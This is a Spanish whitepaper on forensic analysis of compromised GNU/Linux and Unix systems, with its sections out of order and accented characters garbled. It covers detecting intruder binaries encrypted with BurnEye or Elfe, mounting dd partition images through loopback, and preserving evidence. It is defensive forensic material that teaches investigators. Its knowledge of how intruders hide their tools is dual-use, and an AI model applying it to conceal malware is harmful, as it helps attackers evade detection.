Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 2: Análisis Forense de Sistemas GNU/Linux, Unix

1 Introduccioacuten 211 Organizacioacuten del Documento 212 Objetivos 313 Alcance y Supuestos 314 Indicaciones 415 Equipo Necesario 4

2 Objetivos TaacutecticosEstrateacutegicos 63 Congelacioacuten de la Escena del Crimen 74 Problemas con Recoleccioacuten de Informacioacuten 95 Almacenamiento de Pruebas 106 Preparacioacuten para el Anaacutelisis 107 Anaacutelisis con Herramientas Estaacutendar de Unix 198 The Coronerrsquos Toolkit 269 Usando TCT 2710 Ejemplo de Informe de Pruebas Encontradas 3011 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios 45

111 Introduccioacuten 45112 Meacutetodos de Proteccioacuten 46

12 Apeacutendice B - Sistema de Ficheros Loopback de Linux 48121 Conclusiones 50

13 Referencias 5014 Agradecimientos 53

1 IntroduccioacutenLa ciencia forense es metoacutedica y se basa en acciones premeditadas para reunir pruebas y analizarlas La tecnologiacuteaen caso de anaacutelisis forense en sistemas informaacuteticos son aplicaciones que hacen un papel importante en reunir lainformacioacuten y pruebas necesarias La escena del crimen es el ordenador y la red a la cual eacuteste estaacute conectado

11 Organizacioacuten del Documento

El documento pretende dar una vista global del trabajo de los analiacutestas forenses en los entornos GNULinux yiniciar a los administradores de sistemas en el mundo de ciencia forense informaacutetica a traveacutes de conceptos teoacutericosprocedimientos pre-establecidos de tratamiento de informacioacuten y casos praacutecticos El documento tambieacuten indica lamanera de montar un laboratorio forense el equipo necesario configuracioacuten de hardware y de software

A lo largo del trayecto trazado por este whitepaper se daraacute a conocer la problemaacutetica de algunos aspectos del anaacutelisiscomo congelacioacuten de la escena del crimen preparacioacuten y anaacutelisis a traveacutes de herramientas comuacutenes de GNULinux ycon utilidades especiacuteficas como TCT TASK etc Se mencionaraacuten teacutecnicas de duplicacioacuten de sistema de ficheros y sumontura en loopback y anaacutelisis

2

Teniendo en cuenta que cada diacutea los intrusos utilizan teacutecnicas maacutes y maacutes avanzadas de proteccioacuten de sus herramientastambieacuten cubriremos el tema de ocultacioacuten de propoacutesito de los binarios ELF a traveacutes de cifrado y ofuscacioacuten conBurneye yo otras utilidades

12 Objetivos

El objetivo de un anaacutelisis forense informaacutetico es realizar un proceso de buacutesqueda detallada para reconstruir a traveacutesde todos los medios el log de acontecimientos que tuvieron lugar desde el momento cuando el sistema estuvo en suestado integro hasta el momento de deteccioacuten de un acceso no autorizado

Esa tarea debe ser llevada acabo con maacutexima cautela aseguraacutendose que se conserva intacta a la mayor medida posiblela informacioacuten contenida en el disco de un sistema comprometido de forma similar que los investigadores policialesintentan mantener la escena del crimen intacta hasta que se recogen todas las pruebas posibles

El trabajo de un investigador forense es necesario para ofrecer un punto de partida fundamental para los investigadorespoliciales ofrecieacutendoles pistas soacutelidas asiacute como pruebas para su uso posterior

13 Alcance y Supuestos

Cada uno de los incidentes es uacutenico por lo tanto la involucraron de un investigador forense externo es diferente encada caso Algunas veces el trabajo puede estar limitado a colaborar con las agencias del gobierno como Departamentode Delitos Telemaacuteticos de Guardia Civil yo Brigada Investigacioacuten Tecnoloacutegica proporcionaacutendoles el equipo iacutentegropara que sea analizado en sus instalaciones y por sus expertos

Otras veces seraacute necesario previamente realizar una recoleccioacuten de informacioacuten del sistema informaacutetico analizarficheros log estudiar el sistema de ficheros (FS) del equipo comprometido y reconstruir la secuencia de eventos paratener una imagen clara y global del incidente

El anaacutelisis termina cuando el forense tiene conocimiento de como se produjo el compromiso (1) bajo que circunstan-cias (2) la identidad de posibles atacadores (3) su procedencia y origen (4) fechas de compromiso (5) objetivosdellos atacadores (6) asiacute como cuando ha sido reconstruida completamente la secuencia temporal de los eventos (7)

Cuando un investigador forense empieza el anaacutelisis de la situacioacuten nunca sabe con lo que va a enfrentarse Al principiopuede ser que no encuentre a simple vista ninguna huella ni prueba de que el equipo ha sido violado especialmentesi hay un rootkit [1] instalado en la maacutequina Puede encontrar procesos extrantildeos ejecutaacutendose con puertos abiertosTambieacuten es frecuente que vea una particioacuten ocupada 100 de su capacidad pero cuando la verifica a traveacutes de duel sistema muestra otro porcentaje de ocupacioacuten Puede encontrar una saturacioacuten de traacutefico de red desde un hostespeciacutefico Es posible encontrar aplicaciones que estaacuten consumiendo un porcentaje elevado de del CPU pero no hayaninguacuten indicio de un programa con ese nombre en el sistema de ficheros

3

Los pasos para empezar la investigacioacuten de un incidente son diferentes en cada caso El investigador debe tomardecisiones basaacutendose en su experiencia y el sexto sentido para llegar al fondo del asunto No es necesario seguirpasos determinados ni su orden es importante a veces

Puede que algunos pasos baacutesicos sean maacutes de lo que hace falta y tambieacuten puede ser que estos sean insuficientes parasolucionar el problema Los pasos baacutesicos pueden concluir en localizar todas las huellas y eventos que se produjeron

Y en supuestos los pasos baacutesicos no han desvelado la situacioacuten se debe recurrir a llevar acabo un anaacutelisis profundo ode-compilacioacuten de las aplicaciones encontradas durante la buacutesqueda Estas aplicaciones pueden ser escritas totalmentedesde cero y protegidas pero en la mayoriacutea de los casos son aplicaciones utilizadas de forma comuacuten que circulan porla red esteacuten o no esteacuten protegidas Cuando hablamos de proteccioacuten de ficheros podemos hablar sobre teacutecnicas deconfusioacuten ofuscacioacuten y compresioacuten (Ver apeacutendice A para detalles)

14 Indicaciones

En vez de utilizar a rajatabla el orden de los procedimientos que fueron establecidos por otros analistas forensesse debe considerarlos como recursos y el orden necesario en cada caso puede variar Una vez aprendidas teacutecnicasgenerales se podraacute combinarlos con la experiencia y crear sus propios trucos en un futuro Es como ser un cocineroque utiliza el libro de recetas para preparar sus platos y con experiencia modifica las recetas para obtener un platouacutenico

La persona que ha descubierto el incidente debe asegurarse que hay maacutexima informacioacuten intacta posible para que elinvestigador forense pueda realizar su trabajo con eacutexito ya que la informacioacuten encontrada dentro del sistema registrala historia real de lo que ha sucedido

Hay solo una uacutenica cosa que es comuacuten para cada investigacioacuten forense y no es suficiente repetirla siempre Se debetener a mano un cuaderno y un boliacutegrafo para apuntar inmediatamente todos los pasos que efectuacutea durante el procesode investigacioacuten Tambieacuten se debe recordar (y apuntar) que los pasos para preservar y reunir las evidencias deben serefectuadas con lentitud precaucioacuten metoacutedica y pensaacutendolo dos veces antes de hacer cualquier cosa ya que cualquiererror puede llevar consigo consecuencias como peacuterdida de pruebas

Tener el cuaderno con las notas a mano puede ser necesario para refrescar la memoria varios meses despueacutes de lainvestigacioacuten cuando llegue la hora de testificar en una sala de juicio (si el caso llega a estos extremos)

Las notas tambieacuten ayudaraacuten a calcular de forma maacutes precisa las peacuterdidas sufridas por la empresa evitando estimacionesexageradas que suelen producirse durante los casos criminales por parte de empresas afectadas abogados e otrosterceros

15 Equipo Necesario

4

Aunque existan distribuciones de Linux que incorporan directamente utilidades forenses en su instalacioacuten se utilizoacute ladistro que no las incorporaba ya que la instalacioacuten de estas herramientas por defecto a veces causa problemas Mientrasque si se utiliza cualquier distro como RedHat Debian el analista puede configurar el software seguacuten sus preferencias

Referente a las teacutecnicas de anaacutelisis forense descritas a continuacioacuten asumo que utiliza un sistema operativo RedHatLinux i386 sobre cualquier placa madre compatible con Intel Estas teacutecnicas son casi ideacutenticas para cualquierade las versiones o distribuciones de GNULinux oacute Unix pero algunas caracteriacutesticas de i386 pueden variar de unservidor a otro (ejemplo utilizacioacuten de controladores IDE limitaciones de PC BIOS etc) Consulte manuales deadministracioacuten y seguridad de sistema de su distribucioacuten de GNULinux

Equipo Principal - Es preciso tener un sistema dedicado propio para poder hacer el anaacutelisis sin tener interrupcionespor procesos de otros usuarios ni estar vulnerable a los ataques de limpieza [2] Un ejemplo de configuracioacuten de unlaboratorio forense puede ser siguiente

bull Un equipo con una placa compatible i386 con 2 tarjetas controladoras IDE

bull Por lo menos 2 discos duros gt 8Gb sobre el controlador IDE principal (para almacenar el sistema operativoy herramientas maacutes espacio para poder copiar las particiones salvadas desde la cinta y espacio adicional pararecuperar la informacioacuten borrada desde discos duros)

bull Un segundo controlador IDE sin utilizar Eso significa que no deberaacute mezclarse con modificacioacuten de configu-raciones de hardware de los discos Simplemente enchufelos y apareceraacuten como devhdc (master) oacute devhdd(slave)

bull Tarjeta de interfaz SCSI (eg Adaptec 1542)

bull Dispositivos de cinta DDS-3 oacute DDS-4 4mm (se necesita bastante capacidad para almacenar informacioacuten de lasparticiones grandes)

bull Si el sistema estaacute conectado a una red deberaacute ser perfectamente parcheado y no tener ninguacuten servicio de redfuncionando salvo SSH (para acceso remoto y transferencia de ficheros) RedHat Linux 73 con Bastille Linux 20BETA es muy buena opcioacuten (Combinacioacuten utilizada en el lab de Activa Link)

5

Equipo Moacutevil - Otro sistema de anaacutelisis es un nuevo portaacutetil El buen meacutetodo de llevar el laboratorio hasta elsistema accidentado es un portaacutetil con tarjeta eth 10100 disco duro de maacutes de 18-20 Gb - suficiente espacioque permitiraacute almacenar toda la informacioacuten de imaacutegenes del sistema de ficheros (estas imaacutegenes deberiacutean luegoalmacenarse en cintas) para ser analizadas visualizar los resultados craquear las contrasentildeas crypt() del intruso quepuede posiblemente encontrar y una mochila

Un cable 10Base-T normal y uno cruzado permitiraacute conectarse con un hub switch o directamente al cadaacutever ytodaviacutea utilizar la red para comunicarse con el sistema viacutectima sobre una mini-red aislada de 2 estaciones de trabajoPara ello necesitaraacute establecer una ruta estaacutetica en la tabla de rutas o configurar reglas de bridging (seraacute maacutes faacutecil sise desconecta la maacutequina hackeada del resto de la red)

Un equipo de anaacutelisis funcionando bajo GNULinux seraacute suficiente para analizar sistemas de ficheros diferentes perosoportados como por ejemplo Sun UFS Se podraacute simplemente montar el sistema de fichero emitiendo el comandomount con la opcioacuten particular (ver paacutegina man del mount)

Ejemplo

[rootquestactivalinkcom] mount -r -t ufs -o ufstype=sun devhdd2 mnt

Otra ventaja de GNULinux para investigadores forenses es la capacidad del interfaz loopback que permite montarun fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estacioacuten de anaacutelisis(Ver el apeacutendice B para detalles)

2 Objetivos TaacutecticosEstrateacutegicosEl objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intrusocomprender los meacutetodos utilizados para acceder a estos sistemas los objetivos del intruso y la actividad que hadesempentildeado durante su estancia dentro del sistema comprometido La informacioacuten obtenida tiene que ser compartidacon el resto de los miembros del equipo forense a fin de evitar la peacuterdida de informacioacuten Tambieacuten es el objetivo delinvestigador la proteccioacuten del estado de sitio contra modificaciones para evitar peacuterdidas de informacioacuten (pruebas)

Posible persecucioacuten - es un objetivo secundario pero como he dicho anteriormente para un investigador forense sutrabajo primario es preservar lo maacutes iacutentegramente posible las evidencias del crimen en un estado iacutentegro Eso significaponer el sistema fuera de servicio cuando todo el mundo estaacute presionando para volver a ponerlo on-line

Si el sistema por parte del administrador fue forzado a seguir funcionando eliminando las posibles vulnerabilidadeso cualquier otra supuesta viacutea de acceso al servidor la investigacioacuten forense no podraacute seguir el rumbo correcto ya que

1Se eliminariacutea cualquier posibilidad de persecucioacuten del intruso en un futuro ya que se modifica la escena delcrimen y no se podriacutea calcular los dantildeos estimados con un grado elevado de certeza

6

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

